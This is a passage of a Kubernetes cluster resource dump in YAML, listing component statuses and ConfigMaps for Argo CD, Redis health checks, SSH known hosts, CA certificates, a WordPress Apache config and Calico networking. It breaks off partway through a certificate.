apiVersion: v1
items:
- apiVersion: v1
  conditions:
  - message: ok
    status: "True"
    type: Healthy
  kind: ComponentStatus
  metadata:
    creationTimestamp: null
    name: etcd-0
- apiVersion: v1
  conditions:
  - message: ok
    status: "True"
    type: Healthy
  kind: ComponentStatus
  metadata:
    creationTimestamp: null
    name: scheduler
- apiVersion: v1
  conditions:
  - message: ok
    status: "True"
    type: Healthy
  kind: ComponentStatus
  metadata:
    creationTimestamp: null
    name: controller-manager
- apiVersion: v1
  data:
    admin.enabled: "true"
    application.instanceLabelKey: argocd.argoproj.io/instance
    application.sync.impersonation.enabled: "false"
    exec.enabled: "false"
    resource.customizations.ignoreResourceUpdates.ConfigMap: |
      jqPathExpressions:
        # Ignore the cluster-autoscaler status
        - '.metadata.annotations."cluster-autoscaler.kubernetes.io/last-updated"'
        # Ignore the annotation of the legacy Leases election
        - '.metadata.annotations."control-plane.alpha.kubernetes.io/leader"'
    resource.customizations.ignoreResourceUpdates.Endpoints: |
      jsonPointers:
        - /metadata
        - /subsets
    resource.customizations.ignoreResourceUpdates.all: |
      jsonPointers:
        - /status
    resource.customizations.ignoreResourceUpdates.apps_ReplicaSet: |
      jqPathExpressions:
        - '.metadata.annotations."deployment.kubernetes.io/desired-replicas"'
        - '.metadata.annotations."deployment.kubernetes.io/max-replicas"'
        - '.metadata.annotations."rollout.argoproj.io/desired-replicas"'
    resource.customizations.ignoreResourceUpdates.argoproj.io_Application: |
      jqPathExpressions:
        - '.metadata.annotations."notified.notifications.argoproj.io"'
        - '.metadata.annotations."argocd.argoproj.io/refresh"'
        - '.metadata.annotations."argocd.argoproj.io/hydrate"'
        - '.operation'
    resource.customizations.ignoreResourceUpdates.argoproj.io_Rollout: |
      jqPathExpressions:
        - '.metadata.annotations."notified.notifications.argoproj.io"'
    resource.customizations.ignoreResourceUpdates.autoscaling_HorizontalPodAutoscaler: |
      jqPathExpressions:
        - '.metadata.annotations."autoscaling.alpha.kubernetes.io/behavior"'
        - '.metadata.annotations."autoscaling.alpha.kubernetes.io/conditions"'
        - '.metadata.annotations."autoscaling.alpha.kubernetes.io/metrics"'
        - '.metadata.annotations."autoscaling.alpha.kubernetes.io/current-metrics"'
    resource.customizations.ignoreResourceUpdates.discovery.k8s.io_EndpointSlice: |
      jsonPointers:
        - /metadata
        - /endpoints
        - /ports
    resource.exclusions: |
      ### Network resources created by the Kubernetes control plane and excluded to reduce the number of watched events and UI clutter
      - apiGroups:
        - ''
        - discovery.k8s.io
        kinds:
        - Endpoints
        - EndpointSlice
      ### Internal Kubernetes resources excluded reduce the number of watched events
      - apiGroups:
        - coordination.k8s.io
        kinds:
        - Lease
      ### Internal Kubernetes Authz/Authn resources excluded reduce the number of watched events
      - apiGroups:
        - authentication.k8s.io
        - authorization.k8s.io
        kinds:
        - SelfSubjectReview
        - TokenReview
        - LocalSubjectAccessReview
        - SelfSubjectAccessReview
        - SelfSubjectRulesReview
        - SubjectAccessReview
      ### Intermediate Certificate Request excluded reduce the number of watched events
      - apiGroups:
        - certificates.k8s.io
        kinds:
        - CertificateSigningRequest
      - apiGroups:
        - cert-manager.io
        kinds:
        - CertificateRequest
      ### Cilium internal resources excluded reduce the number of watched events and UI Clutter
      - apiGroups:
        - cilium.io
        kinds:
        - CiliumIdentity
        - CiliumEndpoint
        - CiliumEndpointSlice
      ### Kyverno intermediate and reporting resources excluded reduce the number of watched events and improve performance
      - apiGroups:
        - kyverno.io
        - reports.kyverno.io
        - wgpolicyk8s.io
        kinds:
        - PolicyReport
        - ClusterPolicyReport
        - EphemeralReport
        - ClusterEphemeralReport
        - AdmissionReport
        - ClusterAdmissionReport
        - BackgroundScanReport
        - ClusterBackgroundScanReport
        - UpdateRequest
    server.rbac.log.enforce.enable: "false"
    statusbadge.enabled: "false"
    timeout.hard.reconciliation: 0s
    timeout.reconciliation: 180s
    url: https://argocd.example.com
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-cm
    namespace: argocd
    resourceVersion: "74953"
    uid: b171ccfd-ae1f-4dfa-8470-684c398c6fc5
- apiVersion: v1
  data:
    application.namespaces: ""
    applicationsetcontroller.enable.leader.election: "false"
    applicationsetcontroller.enable.progressive.syncs: "false"
    applicationsetcontroller.log.format: text
    applicationsetcontroller.log.level: info
    applicationsetcontroller.namespaces: ""
    applicationsetcontroller.policy: sync
    commitserver.log.format: text
    commitserver.log.level: info
    controller.ignore.normalizer.jq.timeout: 1s
    controller.log.format: text
    controller.log.level: info
    controller.operation.processors: "10"
    controller.repo.server.timeout.seconds: "60"
    controller.self.heal.timeout.seconds: "5"
    controller.status.processors: "20"
    controller.sync.timeout.seconds: "0"
    dexserver.log.format: text
    dexserver.log.level: info
    hydrator.enabled: "false"
    notificationscontroller.log.format: text
    notificationscontroller.log.level: info
    otlp.address: ""
    redis.server: argocd-redis:6379
    repo.server: argocd-repo-server:8081
    reposerver.log.format: text
    reposerver.log.level: info
    reposerver.parallelism.limit: "0"
    server.basehref: /
    server.dex.server: https://argocd-dex-server:5556
    server.dex.server.strict.tls: "false"
    server.disable.auth: "false"
    server.enable.gzip: "true"
    server.enable.proxy.extension: "false"
    server.insecure: "false"
    server.log.format: text
    server.log.level: info
    server.repo.server.strict.tls: "false"
    server.rootpath: ""
    server.staticassets: /shared/app
    server.x.frame.options: sameorigin
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-cmd-params-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-cmd-params-cm
    namespace: argocd
    resourceVersion: "74954"
    uid: 6290061b-56de-4989-b423-8886e475ee05
- apiVersion: v1
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-gpg-keys-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-gpg-keys-cm
    namespace: argocd
    resourceVersion: "74950"
    uid: f203a715-6adb-4f16-9225-70f44176be37
- apiVersion: v1
  data:
    context: |
      argocdUrl: https://argocd.example.com
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-cm
    namespace: argocd
    resourceVersion: "74948"
    uid: 1068640c-ace9-4602-8577-077971ab94a1
- apiVersion: v1
  data:
    policy.csv: ""
    policy.default: ""
    policy.matchMode: glob
    scopes: '[groups]'
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-rbac-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-rbac-cm
    namespace: argocd
    resourceVersion: "74949"
    uid: 766a8f95-24bc-4fc1-9210-6d65c615a963
- apiVersion: v1
  data:
    redis_liveness.sh: |
      response=$(
        redis-cli \
          -a "${REDIS_PASSWORD}" --no-auth-warning \
          -h localhost \
          -p 6379 \
          ping
      )
      if [ "$response" != "PONG" ] && [ "${response:0:7}" != "LOADING" ] ; then
        echo "$response"
        exit 1
      fi
      echo "response=$response"
    redis_readiness.sh: |
      response=$(
        redis-cli \
          -a "${REDIS_PASSWORD}" --no-auth-warning \
          -h localhost \
          -p 6379 \
          ping
      )
      if [ "$response" != "PONG" ] ; then
        echo "$response"
        exit 1
      fi
      echo "response=$response"
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis-health-configmap
    namespace: argocd
    resourceVersion: "74947"
    uid: cd84c8ce-b5d4-4c7a-9672-3d2fc08a859d
- apiVersion: v1
  data:
    ssh_known_hosts: |
      [ssh.github.com]:443 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEmKSENjQEezOmxkZMy7opKgwFB9nkt5YRrYMjNuG5N87uRgg6CLrbo5wAdT/y6v0mKV0U2w0WZ2YB/++Tpockg=
      [ssh.github.com]:443 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
      [ssh.github.com]:443 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj7ndNxQowgcQnjshcLrqPEiiphnt+VTTvDP6mHBL9j1aNUkY4Ue1gvwnGLVlOhGeYrnZaMgRK6+PKCUXaDbC7qtbW8gIkhL7aGCsOr/C56SJMy/BCZfxd1nWzAOxSDPgVsmerOBYfNqltV9/hWCqBywINIR+5dIg6JTJ72pcEpEjcYgXkE2YEFXV1JHnsKgbLWNlhScqb2UmyRkQyytRLtL+38TGxkxCflmO+5Z8CSSNY7GidjMIZ7Q4zMjA2n1nGrlTDkzwDCsw+wqFPGQA179cnfGWOWRVruj16z6XyvxvjJwbz0wQZ75XK5tKSb7FNyeIEs4TT4jk+S4dhPeAUC5y+bDYirYgM4GC7uEnztnZyaVWQ7B381AK4Qdrwt51ZqExKbQpTUNn+EjqoTwvqNj4kqx5QUCI0ThS/YkOxJCXmPUWZbhjpCg56i+2aB6CmK2JGhn57K5mj0MNdBXA4/WnwH6XoPWJzK5Nyu2zB3nAZp+S5hpQs+p1vN1/wsjk=
      bitbucket.org ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPIQmuzMBuKdWeF4+a2sjSSpBK0iqitSQ+5BM9KhpexuGt20JpTVM7u5BDZngncgrqDMbWdxMWWOGtZ9UgbqgZE=
      bitbucket.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIazEu89wgQZ4bqs3d63QSMzYVa0MuJ2e2gKTKqu+UUO
      bitbucket.org ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQeJzhupRu0u0cdegZIa8e86EG2qOCsIsD1Xw0xSeiPDlCr7kq97NLmMbpKTX6Esc30NuoqEEHCuc7yWtwp8dI76EEEB1VqY9QJq6vk+aySyboD5QF61I/1WeTwu+deCbgKMGbUijeXhtfbxSxm6JwGrXrhBdofTsbKRUsrN1WoNgUa8uqN1Vx6WAJw1JHPhglEGGHea6QICwJOAr/6mrui/oB7pkaWKHj3z7d1IC4KWLtY47elvjbaTlkN04Kc/5LFEirorGYVbt15kAUlqGM65pk6ZBxtaO3+30LVlORZkxOh+LKL/BvbZ/iRNhItLqNyieoQj/uh/7Iv4uyH/cV/0b4WDSd3DptigWq84lJubb9t/DnZlrJazxyDCulTmKdOR7vs9gMTo+uoIrPSb8ScTtvw65+odKAlBj59dhnVp9zd7QUojOpXlL62Aw56U4oO+FALuevvMjiWeavKhJqlR7i5n9srYcrNV7ttmDw7kf/97P5zauIhxcjX+xHv4M=
      github.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEmKSENjQEezOmxkZMy7opKgwFB9nkt5YRrYMjNuG5N87uRgg6CLrbo5wAdT/y6v0mKV0U2w0WZ2YB/++Tpockg=
      github.com ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
      github.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCj7ndNxQowgcQnjshcLrqPEiiphnt+VTTvDP6mHBL9j1aNUkY4Ue1gvwnGLVlOhGeYrnZaMgRK6+PKCUXaDbC7qtbW8gIkhL7aGCsOr/C56SJMy/BCZfxd1nWzAOxSDPgVsmerOBYfNqltV9/hWCqBywINIR+5dIg6JTJ72pcEpEjcYgXkE2YEFXV1JHnsKgbLWNlhScqb2UmyRkQyytRLtL+38TGxkxCflmO+5Z8CSSNY7GidjMIZ7Q4zMjA2n1nGrlTDkzwDCsw+wqFPGQA179cnfGWOWRVruj16z6XyvxvjJwbz0wQZ75XK5tKSb7FNyeIEs4TT4jk+S4dhPeAUC5y+bDYirYgM4GC7uEnztnZyaVWQ7B381AK4Qdrwt51ZqExKbQpTUNn+EjqoTwvqNj4kqx5QUCI0ThS/YkOxJCXmPUWZbhjpCg56i+2aB6CmK2JGhn57K5mj0MNdBXA4/WnwH6XoPWJzK5Nyu2zB3nAZp+S5hpQs+p1vN1/wsjk=
      gitlab.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFSMqzJeV9rUzU4kWitGjeR4PWSa29SPqJ1fVkhtj3Hw9xjLVXVYrU9QlYWrOLXBpQ6KWjbjTDTdDkoohFzgbEY=
      gitlab.com ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfuCHKVTjquxvt6CM6tdG4SLp1Btn/nOeHHE5UOzRdf
      gitlab.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsj2bNKTBSpIYDEGk9KxsGh3mySTRgMtXL583qmBpzeQ+jqCMRgBqB98u3z++J1sKlXHWfM9dyhSevkMwSbhoR8XIq/U0tCNyokEi/ueaBMCvbcTHhO7FcwzY92WK4Yt0aGROY5qX2UKSeOvuP4D6TPqKF1onrSzH9bx9XUf2lEdWT/ia1NEKjunUqu1xOB/StKDHMoX4/OKyIzuS0q/T1zOATthvasJFoPrAjkohTyaDUz2LN5JoH839hViyEG82yB+MjcFV5MU3N1l1QL3cVUCh93xSaua1N85qivl+siMkPGbO5xR/En4iEY6K2XPASUEMaieWVNTRCtJ4S8H+9
      ssh.dev.azure.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Hr1oTWqNqOlzGJOfGJ4NakVyIzf1rXYd4d7wo6jBlkLvCA4odBlL0mDUyZ0/QUfTTqeu+tm22gOsv+VrVTMk6vwRU75gY/y9ut5Mb3bR5BV58dKXyq9A9UeB5Cakehn5Zgm6x1mKoVyf+FFn26iYqXJRgzIZZcZ5V6hrE0Qg39kZm4az48o0AUbf6Sp4SLdvnuMa2sVNwHBboS7EJkm57XQPVU3/QpyNLHbWDdzwtrlS+ez30S3AdYhLKEOxAG8weOnyrtLJAUen9mTkol8oII1edf7mWWbWVf0nBmly21+nZcmCTISQBtdcyPaEno7fFQMDD26/s0lfKob4Kw8H
      vs-ssh.visualstudio.com ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Hr1oTWqNqOlzGJOfGJ4NakVyIzf1rXYd4d7wo6jBlkLvCA4odBlL0mDUyZ0/QUfTTqeu+tm22gOsv+VrVTMk6vwRU75gY/y9ut5Mb3bR5BV58dKXyq9A9UeB5Cakehn5Zgm6x1mKoVyf+FFn26iYqXJRgzIZZcZ5V6hrE0Qg39kZm4az48o0AUbf6Sp4SLdvnuMa2sVNwHBboS7EJkm57XQPVU3/QpyNLHbWDdzwtrlS+ez30S3AdYhLKEOxAG8weOnyrtLJAUen9mTkol8oII1edf7mWWbWVf0nBmly21+nZcmCTISQBtdcyPaEno7fFQMDD26/s0lfKob4Kw8H
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-ssh-known-hosts-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-ssh-known-hosts-cm
    namespace: argocd
    resourceVersion: "74952"
    uid: 56bb49a5-171f-488e-ae13-ce246354f040
- apiVersion: v1
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-tls-certs-cm
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-tls-certs-cm
    namespace: argocd
    resourceVersion: "74951"
    uid: b5c83a24-49dd-4933-8b2d-ede9f7f3dd99
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-21T20:14:37Z"
    name: kube-root-ca.crt
    namespace: argocd
    resourceVersion: "74824"
    uid: 862ea850-a205-4950-bfa1-2aca09d7b554
- apiVersion: v1
  data:
    000-default.conf: |
      <VirtualHost *:8000>
              ServerAdmin webmaster@localhost
              DocumentRoot /var/www/html

              ErrorLog ${APACHE_LOG_DIR}/error.log
              CustomLog ${APACHE_LOG_DIR}/access.log combined
      </VirtualHost>
    custom.ini: |
      upload_max_filesize = 64M
      post_max_size = 64M
      memory_limit = 128M
    ports.conf: |
      Listen 8000
  kind: ConfigMap
  metadata:
    annotations:
      meta.helm.sh/release-name: artemis
      meta.helm.sh/release-namespace: artemis
    creationTimestamp: "2025-10-19T12:06:46Z"
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: artemis-wordpress-extended
    namespace: artemis
    resourceVersion: "6779347"
    uid: 7372175c-4afb-410f-8429-f1d2f45e9226
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-09-23T12:03:43Z"
    name: kube-root-ca.crt
    namespace: artemis
    resourceVersion: "433523"
    uid: c7415cd4-aeb8-487c-be0e-42bd57cf067a
- apiVersion: v1
  data:
    active-namespace: tigera-operator
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: active-operator
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821075"
    uid: 691564fe-dc7d-4e7f-a8ea-6ce32b70b700
- apiVersion: v1
  data:
    config: "{\n\t\t\t  \"name\": \"k8s-pod-network\",\n\t\t\t  \"cniVersion\": \"0.3.1\",\n\t\t\t
      \ \"plugins\": [{\"container_settings\":{\"allow_ip_forwarding\":false},\"datastore_type\":\"kubernetes\",\"endpoint_status_dir\":\"/var/run/calico/endpoint-status\",\"ipam\":{\"assign_ipv4\":\"true\",\"assign_ipv6\":\"false\",\"type\":\"calico-ipam\"},\"kubernetes\":{\"k8s_api_root\":\"https://10.96.0.1:443\",\"kubeconfig\":\"__KUBECONFIG_FILEPATH__\"},\"log_file_max_age\":30,\"log_file_max_count\":10,\"log_file_max_size\":100,\"log_file_path\":\"/var/log/calico/cni/cni.log\",\"log_level\":\"Info\",\"mtu\":0,\"nodename_file_optional\":false,\"policy\":{\"type\":\"k8s\"},\"policy_setup_timeout_seconds\":0,\"type\":\"calico\"},{\"capabilities\":{\"portMappings\":true},\"snat\":true,\"type\":\"portmap\"}]\n\t\t\t}"
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: cni-config
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821110"
    uid: 84f14b33-9b77-40b8-b471-fa64e53e9c17
- apiVersion: v1
  data:
    config.json: '{"emitFlows":false}'
  kind: ConfigMap
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825271"
    uid: ec29b8aa-a0bb-4059-bd08-85613460ad31
- apiVersion: v1
  data:
    ca-bundle.crt: ""
    tigera-ca-bundle.crt: |+
      # certificate name: tigera-operator/tigera-ca-private
      -----BEGIN CERTIFICATE-----
      MIIDKTCCAhGgAwIBAgIIBAk1JUyS6tYwDQYJKoZIhvcNAQELBQAwITEfMB0GA1UE
      AxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjAgFw0yNTEwMTkxNjEyMjFaGA8yMTI1
      MDkyNTE2MTIyMlowITEfMB0GA1UEAxMWdGlnZXJhLW9wZXJhdG9yLXNpZ25lcjCC
      ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAIidMczdbm47Smi5VoEILeB2
      BEwKSnv/sO1yTySy4O3P8Gi5X+jcX7rucIYcpToUn96lRsyR6rgF9+bLQOeZ7rTu
      3ItVYRkN5UIA0yDJn9hDuvc32YXvdKYuNZzVRqa0zRz/9pJYQ9/2cl90HwAdvot8
      AVhfxPPaOcgiPk3hDalKItnqkihH7PYu6rm714KPywGePh9e7p1+GRadlpZOCuG+
      GIFn07TOAbTCnEOH0NH24CUHRiYcyKYUFP2vX21TGw0kW1b6PlXd1L+yFK2+/1Pm
      d4kbA2MHePDbzNfIRVPdiIj3riDb4vG+FUkehslwI+eIY/lz5t1JHN7Q6AwBMtEC
      AwEAAaNjMGEwDgYDVR0PAQH/BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
      BBYEFLcK5ltAtfIqr6c+vcqR6qhlyGSjMB8GA1UdIwQYMBaAFLcK5ltAtfIqr6c+
      vcqR6qhlyGSjMA0GCSqGSIb3DQEBCwUAA4IBAQBm+sHjrYAo+9NwH214BN3zqirA
      ZZw8TF260ls81zkx3jBFCMvlXoTthFhE5TA3HNR7sFy0lbTojd6l6MQXpzFZ80IM
      C0+rM5CC6bVjbK/+iAqVrzh8TGVl5Rl2aIPHJ/3jsp77CIEnrBHu7kDlmUYUlM6N
      oxc7ns0Y4mXwMkNylERMEmPyR4hyk35hp5MtG1+3A4UtWHefoWDafqkXyPqDn4zI
      934T0MBAwJEZCVomkdNJ6JCVpVj0VMcDwqe4fpgaAwSMjpa2EXwuQpHdB0ZQ+tBW
      z0lFN8dcVOwLpdG7OTQ1rWCmP+o3LBypCIF2gxP8dl2vG4voL7IkX+fZuzee
      -----END CERTIFICATE-----


  kind: ConfigMap
  metadata:
    annotations:
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane-ca-bundle
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825264"
    uid: 950cf1e9-ddba-4966-b5f0-e3295004777a
- apiVersion: v1
  data:
    ca.crt: |
      -----BEGIN CERTIFICATE-----
      MIIDBTCCAe2gAwIBAgIILYfYFFPDH9UwDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
      AxMKa3ViZXJuZXRlczAeFw0yNTA5MjExMTA0MDVaFw0zNTA5MTkxMTA5MDVaMBUx
      EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
